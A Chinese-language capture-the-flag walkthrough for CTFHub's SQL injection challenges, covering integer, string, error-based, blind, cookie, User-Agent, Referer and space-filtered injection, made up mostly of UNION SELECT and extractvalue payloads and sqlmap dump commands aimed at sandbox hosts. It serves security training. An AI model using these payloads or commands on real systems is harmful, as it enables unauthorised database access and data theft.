Bootstrap

CTFHub~SQL注入超简单详细教程

在这里插入图片描述

0x01整数型注入

# 本题告诉我们是整数型,所以就很容易了

image-20240812171002794

# 判断字段数量
1 order by 2

image-20240812171449788

# 判断回显点
-1 union select 1,2

image-20240812171605194

# 查询全部数据库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata

image-20240812171651661

# 判断数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sqli'

image-20240812171726803

# 查看表中的字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where tables_schema='sqli' and table_name='flag'

image-20240812173305416

# 查看数据库下的所有数据

image-20240812173058064

0x02字符型注入

此题目和上一题相似,一个是整数型注入,一个是字符型注入。字符型注入就是注入字符串参数,判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ,这里就不在使用手工注入,而是使用 sqlmap 工具完成此题 。

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch

image-20240812185109234

# 查询数据库中的表
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch  -D sqli --tables

image-20240812185325465

# 查询数据库表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --columns

image-20240812185551579

# 查询flag中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --dump

image-20240812185802918

0x03报错注入

# 查看数据库名
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);

image-20240812190132241

# 查询数据库中的表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--

image-20240812190557258

# 查询表中的字段名
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--

image-20240812190647063

# 查询表中的所有数据
1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--

image-20240812191025015

# 发现falg不完整,那么我们跳过第一个字符,然后输出全部
1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--

image-20240812191220467

0x04布尔盲注

这道题我们还是用sqlmap来爆破,手工注入太费劲了

# 查看数据库名
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812192033493

# 查看数据库下的表
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" --current-db --batch -D sqli --tables

image-20240812192322178

# 查看数据库中表的字段
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1"  -T flag --columns

image-20240812192827654

# 查看flag表中所有的数据
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1"  -T flag --dump

image-20240812193526195

0x05时间盲注

我们还是继续来用sqlmap来爆数据库。

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812195459392

# 查看数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli --tables --batch

image-20240812195711190

# 查看数据库中flag表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns --batch

image-20240812195957592

# 查看当前数据库中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --dump --batch

image-20240812200413373

0x06MySQL结构

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812200756762

# 查询数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -D sqli --tables

image-20240812200907179

# 查看news表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee  --columns

image-20240812201126226

# 查看数据库中所有的数据
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee  --dump

image-20240812201224396

0x07Cookie注入

这道题我们需要通过抓包来对cookie进行操作,来完成任务

# 通过抓包查看回显位置
1 union select 1,2

image-20240812201706823

# 查看数据库名
-1 union select 1,database()

image-20240812201848577

# 查看数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

image-20240812202021305

# 查询vccdkaqxbl表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='vccdkaqxbl'

image-20240812202223402

# 查询数据库中的数据
-1 union select 1,group_concat(llhlayzpdh) from sqli.vccdkaqxbl

image-20240812202443114

0x08UA注入

# 通过抓包来爆数据库
-1 union select l,group_concat(schema_name) from information_schema.schemata

image-20240812203102491

# 爆数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = sqli

image-20240812203157552

# 爆数据库中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'bkoqrywcto'

image-20240812203416822

# 爆数据库中所有的数据
-1 union select 1,group_concat(fhlxjtkdeg) from bkoqrywcto

image-20240812203624560

0x09Refer注入

# 这道题我们是用hackbar来做

image-20240812204427924

# 查询数据库
-1 union select 1,database()

image-20240812205323477

# 查询数据库中的表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20240812205418741

# 查询表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wdpqevdhte'

image-20240812205525888

# 查询数据库中的所有数据
-1 union select 1,group_concat(ihwswrmydd) from wdpqevdhte

image-20240812205650584

0x0a过滤空格

这道题空格被过滤了,所以我们使用/**/来过滤

# 查询数据库名
-1/**/union/**/select/**/1,database()

image-20240812205908805

# 查询数据库中的表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

image-20240812210352096

# 查询数据库中表的字段
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='cppznyhepg'

image-20240812210459145

# 查询表中的所有数据
-1/**/union/**/select/**/1,group_concat(xcsvxeovdc)/**/from/**/cppznyhepg

image-20240812210601076
好小子,离成功又近一步!!!

;